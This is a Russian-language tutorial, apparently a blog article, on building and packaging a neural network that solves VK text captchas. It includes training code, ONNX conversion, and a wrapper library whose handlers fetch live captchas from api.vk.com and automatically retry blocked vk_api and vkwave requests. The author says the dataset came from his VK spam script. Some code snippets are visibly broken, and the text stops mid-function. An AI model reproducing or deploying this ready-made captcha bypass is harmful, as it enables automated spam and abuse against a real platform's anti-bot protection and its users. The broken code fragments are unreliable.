Немного о проблеме

Что мы знаем о капче? Капча — автоматизированный тест тьюринга, помогающий отсеивать подозрительные действия недобросовестных роботов от реальных людей. Но, к сожалению (или к счастью, смотря для кого), текстовая капча сильно устарела. Если еще 10 лет назад она была более-менее эффективным методом защиты от роботов, то сейчас ее может взломать любой желающий человек, более-менее разбирающийся в компьютере.

В данной статье-мануале я покажу, как создать собственную нейросеть по распознанию текстовых капч, имея под рукой домашний компьютер, базовые знания в python и немножко примеров капч.

Результат работы обученной сети
Результат работы обученной сети

Дисклеймер:

Автор данной статьи ни коим образом не призывает вас совершать какие-либо незаконные действия, используя материалы из данной статьи (да и с другими тоже не стоит) и не несет ответственности за вред, причененный ею.

Цель данной статьи — наглядно показать распространённую проблему текстовых капч.

Как всё начиналось

Было время, когда я писал один скрипт по спаму (альтернативному методу продвижения — рассылке) вк. Скрипт должен был уметь обходить капчу через сторониие сервисы (решают 1000 капч за 10-20 руб). И я подумал, почему бы не сохранять уже решенные капчи у себя на сервере? Таким образом я бесплатно накопил 150к примеров решенных капч (правда 5-10% из них были решены неправильно, но бОльшая часть датасета всё-таки валидна).

Сразу скажу, что я — человек не сильно смыслящий в машинном обучении, поэтому подправьте меня в комментариях, если что)

Выбираем нейросеть

Несмотря на то, что на дворе 2023 год, ничего более-менее адекватно работающего сходу я найти не смог. Большинство примеров предлагали перед распознаванием убрать шумы, разделить капчу ПОБУКВЕННО и перевести её в черно-белый формат (типо для облегчения работы).

Но в моём случае были некоторые проблемы:

  1. Как убрать шумы, если при переводе в black and white линии сливаются с буквам

  2. Как разделить капчу побуквенно, если заранее неизвестно, сколько букв она в себе содержит

  3. В теории можно заморочиться с 1 и 2 пунктом, но терять неделю свободного времени ради такого занятия я был не готов, поэтому пошёл искать другие варианты.

RGB вариант — у букв и линий разный оттенок
RGB вариант — у букв и линий разный оттенок
BLACK and WHITE — буквы сливаются с линиями
BLACK and WHITE — буквы сливаются с линиями

Так я нашёл Tensorflow keras OCR model — CNN + RNN модель, реализующую фукнцию ошибки через CTC loss. В ней необязательно вообще что-то делать с картинками — достаточно минимально их обработать ( transpose(perm=[1, 0, 2]) ) и всё. Дальше модель разберётся сама.

Для ворчунов-профессионалов, которые скажут, что без грамотной обработки данных результат получится хуже, отвечаю: да, он получится хуже. Но он получится. И заработает. А это главное. В распознавании капч не нужна 100% вероятность, так что зачем сильно морочиться с preprocessing, если можно не париться?)

Подготавливаем данные

Убираем ошибки из датасета с помощью анализа входных данных

Для начала необходимо понять, какие вообще символы встречаются у нас в капче. Для этого я написал простенький скрипт

Статистика частоты вхождения букв в капчу
import random
import string
from pathlib import Path

data_dir_test = Path("../images/train")

symbols = {i: 0 for i in string.ascii_lowercase+string.digits}
lengths = [0]*100
for i in data_dir_test.glob("**/*"):
    name = i.name.split('-')[0].split('.')[0]
    for i in name:
        symbols[i] += 1
    lengths[len(name)] += 1
ans = []
#print char -> count
for i, item in sorted(symbols.items(), key=lambda e:-e[1]):
    print(item, i)
    if item > 0: ans.append(i)
#print length -> count
for i in filter(length, lambda e: e != 0):
  
print(ans)

Output:

67063 z
66807 s
66024 h
64136 q
61743 d
60674 v
25280 2
25208 7
25185 8
25107 x
25001 y
24993 5
24956 e
24784 a
24599 u
24492 4
24185 k
24094 n
22953 m
22318 c
18990 p
30 b
27 f
19 g
18 i
11 j
9 l
6 o
2 r
1 t
0 w
0 0
0 1
0 3
0 6
0 9
_________
LEN[3]=23
LEN[4]=61393
LEN[5]=62670
LEN[6]=14902
LEN[7]=14318
LEN[8]=4

['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']

Эти действия сразу помогают "почистить" примеры: видно, что буквы b, f, g, i, j, l, o, r, t заведомо ошибочные и что капч, состоящих из 3 и 8 символов, не существует.

Отлично, с символами определились

max_length = 7
characters = ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 
              'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']

Подготовка датасета

Перед дальнейшими действиями разобьем датасет с картинками на 2 папки: train и test. Папка test будет использоваться для тестирования готовой модели, train — для обучения (в процессе обучения датасет случайным образом разбивается на train и validate). Я разбил в пропорциях 1/15 ( у меня примеров много, поэтому 10к для теста будет достаточно; если у Вас датасет меньше, чем 20к, то стоит разбивать хотя бы 2/8 )

Теперь надо сделать преобработку картинки. В модели будет использоваться RGB float32 input:

img_width = 130 # ширина input'a
img_height = 50 # высота input'a
def encode_img(img):
    # Preprocessing
    #    We will use 3 channels input (in original code were 1 channel)
    if img_type == '*.jpeg':
        img = tf.io.decode_jpeg(img, channels=3, dct_method='INTEGER_ACCURATE')
    #        img = tf.image.rgb_to_grayscale(img)
    else:
        img = tf.io.decode_png(img, channels=3)

    # Convert to float32 in [0, 1] range
    img = tf.image.convert_image_dtype(img, tf.float32)
    # Resize to the desired size
    img = tf.image.resize(img, [img_height, img_width])
    # Transpose the image because we want the time
    # dimension to correspond to the width of the image.
    img = tf.transpose(img, perm=[1, 0, 2])
    return img
  def encode_single_sample(img_path, label):
    # Read image
    img = tf.io.read_file(img_path)
    # Preprocessing
    img = encode_img(img)
    # Map the characters in label to numbers
    label = char_to_num(tf.strings.unicode_split(label, input_encoding="UTF-8"))
    # Return a dict as our model is expecting two inputs
    return {"image": img, "label": label}

И запихать это всё в 2 датасета: один для обучения, другой — для проверки работоспособности модели (в процессе обучения)

def split_data(images: 'list', labels: 'list', train_size=0.9, shuffle=True):
    size = len(images)
    # 1. Make an indices array and shuffle it, if required
    indices = np.arange(size)
    if shuffle:
        np.random.shuffle(indices)
    # 2. Get the size of training samples
    train_samples = int(size * train_size)
    # 3. Split data into training and validation sets
    x_train, y_train = images[indices[:train_samples]], labels[indices[:train_samples]]
    x_valid, y_valid = images[indices[train_samples:]], labels[indices[train_samples:]]
    return x_train, x_valid, y_train, y_valid

x_train, x_valid, y_train, y_valid = split_data(np.array(images), np.array(labels))
train_dataset = tf.data.Dataset.from_tensor_slices((x_train, y_train))
train_dataset = (
    train_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)
        .batch(batch_size)
        .prefetch(buffer_size=tf.data.AUTOTUNE)
)

validation_dataset = tf.data.Dataset.from_tensor_slices((x_valid, y_valid))
validation_dataset = (
    validation_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)
        .batch(batch_size)
        .prefetch(buffer_size=tf.data.AUTOTUNE)
)

Создаём и обучаем модель

Пришло время для самой модели. Она будет состоять из 2х блоков Conv2D, RNN, (output), CTC loss Layer (для ошибки)

Генерируем модель (многа сложных букф)
# Loss function
class CTCLayer(layers.Layer):
    def __init__(self, name=None):
        super().__init__(name=name)
        self.loss_fn = keras.backend.ctc_batch_cost

    def call(self, y_true, y_pred, **kwargs):
        # Compute the training-time loss value and add it
        # to the layer using `self.add_loss()`.
        batch_len = tf.cast(tf.shape(y_true)[0], dtype="int64")
        input_length = tf.cast(tf.shape(y_pred)[1], dtype="int64")
        label_length = tf.cast(tf.shape(y_true)[1], dtype="int64")

        input_length = input_length * tf.ones(shape=(batch_len, 1), dtype="int64")
        label_length = label_length * tf.ones(shape=(batch_len, 1), dtype="int64")

        loss = self.loss_fn(y_true, y_pred, input_length, label_length)
        self.add_loss(loss)

        # At test time, just return the computed predictions
        return y_pred
def build_model():
    # Inputs to the model
    input_img = layers.Input(
        # Lets use RGB input instead of black and white
        shape=(img_width, img_height, 3), name="image", dtype="float32"
    )
    labels = layers.Input(name="label", shape=(None,), dtype="float32")

    # First conv block
    x = layers.Conv2D(
        32,
        (3, 3),
        activation="relu",
        kernel_initializer="he_normal",
        padding="same",
        name="Conv1",
    )(input_img)
    x = layers.MaxPooling2D((2, 2), name="pool1")(x)

    # Second conv block
    x = layers.Conv2D(
        64,
        (3, 3),
        activation="relu",
        kernel_initializer="he_normal",
        padding="same",
        name="Conv2",
    )(x)
    x = layers.MaxPooling2D((2, 2), name="pool2")(x)

    # We have used two max pool with pool size and strides 2.
    # Hence, downsampled feature maps are 4x smaller. The number of
    # filters in the last layer is 64. Reshape accordingly before
    # passing the output to the RNN part of the model
    new_shape = ((img_width // 4), (img_height // 4) * 64)
    x = layers.Reshape(target_shape=new_shape, name="reshape")(x)
    x = layers.Dense(64, activation="relu", name="dense1")(x)
    x = layers.Dropout(0.2)(x)

    # RNNs
    x = layers.Bidirectional(layers.LSTM(128, return_sequences=True, dropout=0.25))(x)
    x = layers.Bidirectional(layers.LSTM(64, return_sequences=True, dropout=0.25))(x)

    # Output layer
    x = layers.Dense(
        len(char_to_num.get_vocabulary()) + 1, activation="softmax", name="dense2"
    )(x)

    # Add CTC layer for calculating CTC loss at each step
    output = CTCLayer(name="ctc_loss")(labels, x)

    # Define the model
    model = keras.models.Model(
        inputs=[input_img, labels], outputs=output, name="ocr_model_v1"
    )
    # Optimizer
    opt = keras.optimizers.Adam()
    # Compile the model and return
    model.compile(optimizer=opt)
    return model
model = build_model()

Добавляем защиту от переобучения

early_stopping = keras.callbacks.EarlyStopping(
    monitor="val_loss", patience=early_stopping_patience, restore_best_weights=True
)

..... Запускаем! .....

history = model.fit(
    train_dataset,
    validation_data=validation_dataset,
    epochs=100,
    callbacks=[early_stopping],
)
Процесс обучения модели
Процесс обучения модели

Обучалась модель у меня на процессоре (AMD RYZEN 5 3600) ~ 10 часов, на видеокарте (GTX 1070 TI) ~ 3 часа.

Если вдруг захотите обучать на видеокарте, то будьте готовы потратить 2-3 часа на уставку CUDA, tensorflow-GPU, и кучу другого гемороя (например, conda, — без неё на windows с обучением всё очень грустно)

Тестируем

Для тестирования нужно прогнать нашу модель через датасет, заранее оставленный в папочке test.

Код тестов

Подгружаем нашу модель

model: Functional = keras.models.load_model(MODEL_FNAME)

Загружаем тестовый датасет

images = list(map(str, [i for i in data_dir_test.glob(img_type)]))
images = sorted(images, key=lambda *h: random.random())
labels = [
    img.split(os.path.sep)[-1].split('-')[0].split('.jpeg')[0].ljust(max_length)[:max_length]
    for img in images
]

test_dataset = tf.data.Dataset.from_tensor_slices((numpy.array(images), numpy.array(labels)))
test_dataset = (
    test_dataset.map(encode_single_sample, num_parallel_calls=tf.data.AUTOTUNE)
    .batch(batch_size)
    .prefetch(buffer_size=tf.data.AUTOTUNE)
)

Визуализация (по желанию):

def visualize():
    _, ax = plt.subplots(4, 4, figsize=(15, 5))
    for i in range(len(pred_texts)):
        img = (image[i, :, :, :] * 255).numpy().transpose([1, 0, 2]).astype(np.uint8)
        title = f" {pred_texts[i][0]}{pred_texts[i][1]:.3%} {'ok' if success else 'wrong'}"
        ax[i // 4, i % 4].imshow(img)
        ax[i // 4, i % 4].set_title(title)
        ax[i // 4, i % 4].axis("off")
    plt.show()

И, соответственно, тесты:

good = 0
total = 0

for i in test_dataset.take(1000):
    label, image = i['label'], i['image']
    preds = model.call(image)
    pred_texts = decode_batch_predictions(preds)[0]
    orig_texts = [tf.strings.reduce_join(num_to_char(l)).numpy().decode("utf-8").replace('[UNK]', '') for l in label]
    if need_visualization and total == 0:
        visualize()
    for i in range(len(pred_texts)):
        success = pred_texts[i] == orig_texts[i]
        if success:
            good += 1
        total += 1
    print(f"Progress {total/len(images):.2%}[{total}/{len(images)}]...", end='\r')
print(f"Success: {(good / total):.2%}\n")
Результат тестов
Результат тестов

У модель выдавала правильный ответ с вероятностью 94.05%.

Ура?

В целом, можно сказать, что модель готова. НО! Тут, как всегда, не без сюрпризов. А сюрпризы в данном случае: 2ГБ библиотеки Tensorflow, 10-15 секунд на её import, долгое время работы и т.п.

В общем, после длительных поисков, было решено переходить на формат onnx. А что, стильно, модно, молодёжно, подумал я. Но, естественно, с 1-го раза ничего не заработало

Конвертируем модель в ONNX

Сначала я попытался использовать keras2onnx, но он у меня не заработал. Погуглив ошибку, я пришёл к выводу, что во всём виновата windows (о великие линукса), перешел на виртуалку, попробовал на ней и.... Опять ничего не заработало (после 4х часов попыток заставить что-либо двигаться).

Далее на очередь пришёл tf2onnx. Но заработал он у меня только с 3-го раза: в первый раз, после установки, оказалось, что python3.10 не поддерживается, затем, на 2й раз — что я обучал модель на слишком новой версии tensorflow, которую tf2onnx пока не поддерживает (вот зараза).

В результате у меня-таки получилось всё провернуть со следующими версиями:

python3.9
tensorflow==2.9.1
tf2onnx==1.11.1
onnxruntime==1.9.0
onnxconverter-common==1.10.0

Ну и сам скрипт конвертации:

import pathlib, tf2onnx.convert, sys
from tools import MODEL_FNAME

OUTPUT_ONNX = "../out.model.onnx"

dir = pathlib.Path(__file__).parent
sys.argv.append("--saved-model")
sys.argv.append(str(dir / MODEL_FNAME))
sys.argv.append("--output")
sys.argv.append(str(dir / OUTPUT_ONNX))
tf2onnx.convert.main()

UPDATE: вроде как сейчас уже есть поддержка python3.10, но проверять я это не хочу)

Переписываем код с tensorflow на numpy

Теперь, после конвертации в ONNX, возникла необходимость переписать препроцессинг картинок с tensorflow на великий numpy (весит меньше, работает шустрее).

В случае препроцессинга это не составило особого труда:

def decode_img(data_bytes: bytes):
  # same actions, as for tensorflow
  img = cv2.imdecode(np.asarray(bytearray(data_bytes), dtype=np.uint8), -1)
  img: "np.ndarray" = img.astype(np.float32) / 255.
  if img.shape != (img_height, img_width, 3):
      cv2.resize(img, (img_width, img_height))
  img = img.transpose([1, 0, 2])
  #  Creating tensor ( adding 4d dimension )
  img = np.array([img])
  return img
Немного о INTEGER_ACCURATE

Тестируем и... Процент верных ответов снижается на 10%. Это стало очень неприятно, и, как оказалось, всё дело в методе преобрабоки картинки.

Существует много методов декодирования JPEG картинок, и, естественно, tensorflow и numpy по умолчанию используют разные. Чтобы они были наиболее cхожи, стоит указать параметр dct_method='INTEGER_ACCURATE'.

img = tf.io.decode_jpeg(img, channels=3, dct_method='INTEGER_ACCURATE')

Немного официальной документации:

dct_method - String specifying a hint about the algorithm used for decompression. Defaults to "" which maps to a system-specific default. Currently valid values are ["INTEGER_FAST", "INTEGER_ACCURATE"]. The hint may be ignored (e.g., the internal jpeg library changes to a version that does not have that specific option.)

Не повторяйте моих ошибок :)

А вот в случае декодирования результа пришлось вникнуть в Beam Search Decoding for ctc alorithm. Если вкратце, то на выход мы получаем 2-мерный массив длиной в 32 элемента, где каждый элемент — массив вероятностей на этом месте каждой буквы.

Код декодирования результата:

def get_result(pred):
    """CTC decoder of the output tensor
    https://distill.pub/2017/ctc/
    https://en.wikipedia.org/wiki/Connectionist_temporal_classification
    :return string, float
    """
    accuracy = 1
    last = None
    ans = []
    # pred - 3d tensor, we need 2d array - first element
    for item in pred[0]:
        # get index of element with max accuracy
        char_ind = item.argmax()
        # ignore duplicates and special characters
        if char_ind != last and char_ind != 0 and char_ind != len(characters)+1:
            # this element is a character - append it to answer
            ans.append(characters[char_ind - 1])
            # Get accuracy for current character and 
            # multiply global accuracy by it
            accuracy *= item[char_ind]
        last = char_ind

    answ = "".join(ans)[:max_length]
    return answ, accuracy

Тестируем ONNX модель

Настало время финальной проверки: необходимо удостовериться, что мы всё сделали правильно. То есть результат работы ONNX модели не должен сильно отличаться от оригинальной. Также необходимо прогнать тесты на "реальных" капчах (генерируемых сервером) и посмотреть, насколько наша модель с ними справляется (а то вдруг всё было зря????)

Загружаем модель:

data_dir_test = data_dir_test.glob(img_type)
sess = onnxruntime.InferenceSession(r"../out.model.onnx")
name = sess.get_inputs()[0].name

Переделываем функцию для решения капчи из файла

def solve(file_name: str):
    with open(file_name, 'rb') as F:
        data_bytes = F.read()
    img = decode_img(data_bytes)
    pred_onx = sess.run(None, {name: img})[0]
    ans = get_result(pred_onx)
    return ans

А дальше есть 2 варианта.

  1. Прогнать тесты на реальных капчах и вывести их через matplotlib.pyplotи вручную проанализировать результаты:

    min_accur = 0.3
    time_now = time.time()
    _, ax = plt.subplots(4, 4, figsize=(10, 5))
    for i in range(16):
        file = 'image.jpeg'
        perc_ = 0
        # пока вероятность корректного решения, выдаваемая моделью, меньше,
        # чем минимум - решаем
        while perc_ < min_accur:
            # на всякий случай скажу, что если брать рандомные sid, 
            # то может вылезти русская капча, например как тут(не пугайтесь): 
            # https://api.vk.com/captcha.php?sid=984831
            image = requests.get('https://api.vk.com/captcha.php?sid=98483')
            with open(file, 'wb') as f:
                f.write(image.content)
            solution, perc_ = solve(file)
        img = mpimg.imread(file)
    
        title = f"{perc_: .2%} {solution}"
        ax[i >> 2, i % 4].imshow(img)
        ax[i >> 2, i % 4].set_title(title)
        ax[i >> 2, i % 4].axis("off")
    plt.show()
    print("ARGV:", (time.time() - time_now) / 10, "sec.")
    
  2. Прогнать модель заново на тестовых данных и посмотреть, не "испортилась" ли она в процессе перевода в другой формат, а также проанализировать ошибки, которые она делает.

    Функция анализа ошибок:

    def mistakes_analyzer(errors: "list[tuple[str, str]]"):
        """Analyze mistakes made by model.
        :param errors - list of (model_ans, correct_ans)
        :returns (loose_symbol, error_symbols, undefined)
                loose_symbol - {symbol: loos_count}
                error_symbols - {correct_symbol: {model_answer: count}} (count=int)
                undefined - list of other mistakes list[tuple[str, str]]
        """
        loose_symbol = {}
        error_symbols = {}
        undefined = []
        for ans, correct_ans in errors:
            if len(ans) != len(correct_ans):
                # if we skip a character
                if len(correct_ans) == len(ans)+1:
                    loosed_sym = dif(correct_ans, ans)
                    if loosed_sym not in loose_symbol:
                        loose_symbol[loosed_sym] = 0
                    loose_symbol[loosed_sym] += 1
                else:
                    undefined.append((ans, correct_ans))
                continue
            for sym_correct, sym_fail in zip(correct_ans, ans):
                if sym_correct != sym_fail:
                    # if we recognize it incorrectly
                    if sym_correct not in error_symbols: error_symbols[sym_correct] = {}
                    if sym_fail not in error_symbols[sym_correct]: error_symbols[sym_correct][sym_fail] = 0
                    error_symbols[sym_correct][sym_fail] += 1
        return loose_symbol, error_symbols, undefined
    

    Ну и проход по тестовым данным:

    mistakes = []
    total = 0
    correct = 0
    for file in data_dir_test:
        ans = file.name.split(".")[0].split('-')[0]
        soved_ans, _ = solve(str(file))
        if soved_ans == ans:
            correct += 1
        else:
            mistakes.append((ans, soved_ans))
        total += 1
        if total % 100 == 0:
            print(f"Success: {correct / total:.2%}", end='\r')
    print("Parsing data mistakes: ")
    anylize = mistakes_analyzer(mistakes)
    print("\n\nLoose symbols:")
    for i, v in sorted(anylize[0].items(), key=lambda n: -n[1]):
        if v == 1: continue  # 1 is not an error - it's a mistake
        print(i, '=', v)
    print("\n\nWrong symbols:")
    for symbol, arr in sorted(anylize[1].items(), key=lambda n: -sum(n[1].values())):
        print(symbol, '=', sum(arr.values()), ":")
        for symbol_next, v in sorted(arr.items(), key=lambda n: -n[1]):
            if v == 1: continue
            print(f'\t{symbol} - {symbol_next} = {v}')
    from fuzzywuzzy import fuzz
    for i in anylize[2]:
        # if the difference between answer and item is too big - 
        # it's wierd. We should pay attention on it     
        if fuzz.ratio(*i) < 0.4:
            print("Probably problem in data: ")
            print(*i)
    

    В моём случае я получил примерно такую картину:

    Loose symbols:
    z = 6
    s = 4
    n = 4
    7 = 3
    4 = 2
    v = 2
    c = 2
    
    Wrong symbols:
    e = 97 :
    	e - c = 59
    	e - 8 = 14
    	e - a = 9
    	e - p = 4
    	e - q = 3
    	e - 2 = 2
    	e - s = 2
    c = 97 :
    	c - e = 61
    	c - q = 18
    	c - p = 6
    	c - d = 3
    	c - u = 3
    	c - a = 2
    n = 77 :
    	n - h = 41
    	n - m = 13
    	n - p = 12
    	n - u = 4
    	n - 4 = 2
    s = 74 :
    	s - 8 = 16
    	s - 5 = 14
    	s - e = 9
    	s - q = 8
    	s - c = 7
    	s - x = 4
    	s - 2 = 3
    	s - p = 3
    	s - a = 3
    	s - z = 2
    	s - n = 2
    z = 73 :
    	z - 2 = 28
    	z - 7 = 18
    	z - s = 5
    	z - v = 4
    	z - h = 3
    	z - x = 3
    	z - q = 3
    	z - 5 = 2
    	z - a = 2
    a = 71 :
    	a - d = 26
    	a - e = 9
    	a - 4 = 7
    	a - q = 6
    	a - n = 5
    	a - u = 5
    	a - z = 3
    	a - 2 = 2
    	a - 8 = 2
    	a - c = 2
    v = 71 :
    	v - y = 49
    	v - x = 13
    	v - d = 2
    	v - s = 2
    q = 47 :
    	q - d = 26
    	q - e = 4
    	q - 9 = 2
    	q - c = 2
    	q - g = 2
    	q - 4 = 2
    	q - z = 2
    	q - u = 2
    u = 45 :
    	u - d = 17
    	u - n = 7
    	u - q = 5
    	u - h = 3
    	u - v = 3
    	u - m = 2
    	u - x = 2
    	u - 4 = 2
    h = 38 :
    	h - n = 26
    	h - b = 5
    	h - k = 3
    	h - u = 2
    d = 30 :
    	d - c = 11
    	d - q = 8
    	d - a = 3
    	d - u = 2
    	d - s = 2
    y = 26 :
    	y - v = 20
    	y - x = 4
    	y - 7 = 2
    x = 24 :
    	x - k = 9
    	x - v = 5
    	x - y = 4
    	x - 7 = 2
    5 = 22 :
    	5 - p = 5
    	5 - s = 4
    	5 - h = 3
    	5 - a = 2
    	5 - 2 = 2
    	5 - 7 = 2
    2 = 21 :
    	2 - 8 = 7
    	2 - z = 5
    	2 - a = 3
    	2 - p = 3
    7 = 20 :
    	7 - z = 10
    	7 - s = 2
    p = 16 :
    	p - n = 8
    	p - h = 2
    	p - u = 2
    	p - m = 2
    4 = 13 :
    	4 - 7 = 3
    	4 - q = 3
    	4 - h = 2
    	4 - a = 2
    k = 12 :
    	k - x = 5
    	k - h = 4
    8 = 5 :
    m = 5 :
    	m - n = 3
    

    Из этих данных видно, что модель довольно часто путает "e" с "c", "h" с "n", "z" c "2", "v" c "y". Это стандартная ситуация для моделей, распознающих текст, — эти символы и люди часто не могут до конца распознать (а у нас, извините, нечетаемая капча).

Также стоит упомянуть один интересную фичу, которой можно воспользоваться при решении текстовых капч: если модель выдает плохую уверенность в ответе (например, ниже чем 0.2), то довольно часто можно "забить" на решение данной капчи и просто запросить следующую (в случае ВК и запрашивать не надо: просто заново скачиваем картинку по той же ссылке, и сервер для нас любезно сгенерировует новую "задачку").
То есть "умная" функция будет решать капчу до тех пор (естественно, можно задать макс. количество раз), пока вероятность успешного ответа меньше, чем нужная нам.

Теперь то всё?

Почти. Осталось написать библиотеку-обёрту для получившейся модели.

Много code
import concurrent.futures
import os.path
import time
import aiohttp, asyncio

import onnxruntime as onr
import numpy as np
import requests
import cv2
import vk_api, threading
from requests.exceptions import ProxyError

characters = ['z', 's', 'h', 'q', 'd', 'v', '2', '7', '8', 'x', 'y', '5', 'e', 'a', 'u', '4', 'k', 'n', 'm', 'c', 'p']
img_width = 130
img_height = 50
lock = threading.Lock()
logging_lock: "threading.Lock|None" = None  # you can use some existing lock for logging
max_length = 7
class VkCaptchaSolver:
    """
    Vk captcha handling
    Fast examples:
1) vk_api.VkApi
>>> from vk_captcha import vk_api_handler
>>> vk = vk_api_handler.VkApiCaptcha("88005553535", "efwoewkofokw")  # this login will create captcha
>>> vk_api_handler.Solver.logging = True  # enable logging
>>> vk.auth() # getting Password Api error
2) solving captcha from url
>>> from vk_captcha import VkCaptchaSolver
>>> import random
>>> solver = VkCaptchaSolver(logging=True)
>>> captcha_response, accuracy = solver.solve(url=f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}", minimum_accuracy=0.15)
>>> async def async_way():
... await solver.solve_async(url=f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}")
3) if you have image in bytes:
>>> solver.solve(bytes_data=requests.get(f"https://api.vk.com/captcha.php?sid={random.randint(0,10000000)}").content)
    """
    TOTAL_COUNT = 0
    FAIL_COUNT = 1
    TOTAL_TIME = 0
    def __init__(self, logging=False, model_fname=os.path.dirname(__file__) + "/model.onnx"):
        self.logging = logging
        self.Model = onr.InferenceSession(model_fname)
        self.ModelName = self.Model.get_inputs()[0].name
    def solve(self, url=None, bytes_data=None, minimum_accuracy=0, repeat_count=10, session=None) -> 'str,float':
        """Solves VK captcha
        :param bytes_data: Raw image data
        :type bytes_data: bytes
        :param url: url of the captcha ( or pass bytes_data )
        :type url: str
        :param minimum_accuracy: Minimum accuracy of recognition.
                                 If accuracy < minimum_accuracy then download captcha again
                                 and solve it again. (Do it for repeat_count times)
                                 Works only with url passed
                                 Range = [0,1]
        :type minimum_accuracy: float
        :param repeat_count: Repeat solving count ( look at minimum_accuracy )
                                Range = [1,999]
        :type repeat_count: int
        :param session: requests.Session object or None
        :return Tuple[answer:str, accuracy:float ( Range=[0,1]) ]
        """
        if url is not None: url = url.replace('&resized=1', '').replace("?resized=1&", '?')
        if self.logging:
            with logging_lock:
                print(f"Solving captcha {url}")
        if repeat_count < 1: raise ValueError(f"Parameter repeat_count = {repeat_count} < 1")
        for i in range(repeat_count):
            if url is not None:
                for _ in range(4):
                    try:
                        bytes_data = (session or requests).get(url, headers={"Content-language": "en"}).content
                        if bytes_data is None:
                            raise ProxyError("Can not download data, probably proxy error")
                        break
                    except:
                        if _ == 3: raise
                        time.sleep(0.5)
            answer, accuracy = self._solve_task(bytes_data)
            if accuracy >= minimum_accuracy or url is None:
                break
            if self.logging:
                with logging_lock:
                    print(f"Solved accuracy(={accuracy:.4}) < miniumum(={minimum_accuracy:.4}). Trying again.")
        with lock: VkCaptchaSolver.TOTAL_COUNT += 1
        return answer, accuracy

    @property
    def argv_solve_time(self):
        """Argv solve time in seconds per one captcha.
        Start returning value after first solve ( solve_async) call"""
        with lock:
            return VkCaptchaSolver.TOTAL_TIME / (VkCaptchaSolver.TOTAL_COUNT or 1)  # zero division error capturing
    @property
    def _async_runner(self):
        if not hasattr(VkCaptchaSolver, "_runner"):
            VkCaptchaSolver._runner = concurrent.futures.ThreadPoolExecutor(
                max_workers=5
            )
        return VkCaptchaSolver._runner
    async def solve_async(self, url=None, bytes_data=None, minimum_accuracy=0, repeat_count=10, session=None) -> 'str,float':
        """Solves VK captcha async
        :param bytes_data: Raw image data
        :type bytes_data: byte
        :param url: url of the captcha ( or pass bytes_data )
        :type url: str
        :param minimum_accuracy: Minimum accuracy of recognition.
                                 If accuracy < minimum_accuracy then download captcha again
                                 and solve it again. (Do it for repeat_count times)
                                 Works only with url passed
                                 Range = [0,1]
        :type minimum_accuracy: float
        :param repeat_count: Repeat solving count ( look at minimum_accuracy )
                                Range = [1,999]
        :param session: aiohttp.ClientSession session to download captcha
        :type session: aiohttp.ClientSession
        :type repeat_count: int
        :return answer:str, accuracy:float (Range=[0,1])
        """
        if self.logging: print(f"Solving captcha {url}")
        if repeat_count < 1: raise ValueError(f"Parameter repeat_count = {repeat_count} < 1")
        for i in range(repeat_count):
            if url is not None:
                for _ in range(4):
                    try:
                        if session is None:
                            async with aiohttp.ClientSession(headers={"Content-language": "en"}) as session_m, \
                                    session_m.get(url) as resp:
                                bytes_data = await resp.content.read()
                        else:
                            async with session.get(url) as resp:
                                bytes_data = await resp.content.read()
                        if bytes_data is None: raise ProxyError("Can not download captcha - probably proxy error")
                        break
                    except Exception:
                        if _ == 3: raise
                        await asyncio.sleep(0.5)
            if self.logging: t = time.time()
            #  running in background async
            res = asyncio.get_event_loop().run_in_executor(self._async_runner, self._solve_task, bytes_data)
            completed, _ = await asyncio.wait((res,))
            #  getting result
            answer, accuracy = next(iter(completed)).result()
            if accuracy >= minimum_accuracy or url is None:
                break
            print(f"Solved accuracy(={accuracy:.4}) < miniumum(={minimum_accuracy:.4}). Trying again.")
        with lock: VkCaptchaSolver.TOTAL_COUNT += 1
        return answer, accuracy
    def _solve_task(self, data_bytes: bytes):
        t = time.time()

        img = cv2.imdecode(np.asarray(bytearray(data_bytes), dtype=np.uint8), -1)
        img: "np.ndarray" = img.astype(np.float32) / 255.
        if img.shape != (img_height, img_width, 3):
            cv2.resize(img, (img_width, img_height))
        img = img.transpose([1, 0, 2])
        #  Creating tensor ( adding 4d dimension )
        img = np.array([img])
        # !!!HERE MAGIC COMES!!!!
        result_tensor = self.Model.run(None, {self.ModelName: img})[0]
        # decoding output
        answer, accuracy = self.get_result(result_tensor)

        delta = time.time() - t
        with lock:
            VkCaptchaSolver.TOTAL_TIME += delta
        if self.logging:
            with logging_lock:
                print(f"Solved captcha = {answer} ({accuracy:.2%} {time.time() - t:.3}sec.)")

        return answer, accuracy

    async def vk_wave_captcha_handler(self, error: dict, api_ctx: 'APIOptionsRequestContext'):
        method = error["error"]["request_params"][0]["value"]
        request_params = {}
        for param in error["error"]["request_params"]:
            if param["key"] in ("oauth", "v", "method"):
                continue
            request_params[param["key"]] = param["value"]

        key = await self.solve_async(error["error"]["captcha_img"], minimum_accuracy=0.33)

        request_params.update({"captcha_sid": error["error"]["captcha_sid"], "captcha_key": key})
        return await api_ctx.api_request(method, params=request_params)
    def vk_wave_attach_to_api_session(self, api_session):
        d = api_session.default_api_options.error_dispatcher
        d.add_handler(14, self.vk_wave_captcha_handler)
    @staticmethod
    def get_result(pred):
        """CTC decoder of the output tensor
        https://distill.pub/2017/ctc/
        https://en.wikipedia.org/wiki/Connectionist_temporal_classification
        :return string, float
        """
        accuracy = 1
        last = None
        ans = []
        # pred - 3d tensor, we need 2d array - first element
        for item in pred[0]:
            # get index of element with max accuracy
            char_ind = item.argmax()
            # ignore duplicates and special characters
            if char_ind != last and char_ind != 0 and char_ind != len(characters) + 1:
                # this element is a character - append it to answer
                ans.append(characters[char_ind - 1])
                # Get accuracy for current character and
                # multiply global accuracy by it
                accuracy *= item[char_ind]
            last = char_ind

        answ = "".join(ans)[:max_length]
        return answ, accuracy

    def vk_api_captcha_handler(self, captcha, minimum_accuracy=0.3, repeat_count=10):
        """vk_api.VkApi captcha handler function"""
        key, _ = self.solve(captcha.get_url(), minimum_accuracy=minimum_accuracy, repeat_count=repeat_count)
        try:
            ans = captcha.try_again(key)
            return ans
        except vk_api.ApiError as e:
            if e.code == vk_api.vk_api.CAPTCHA_ERROR_CODE:
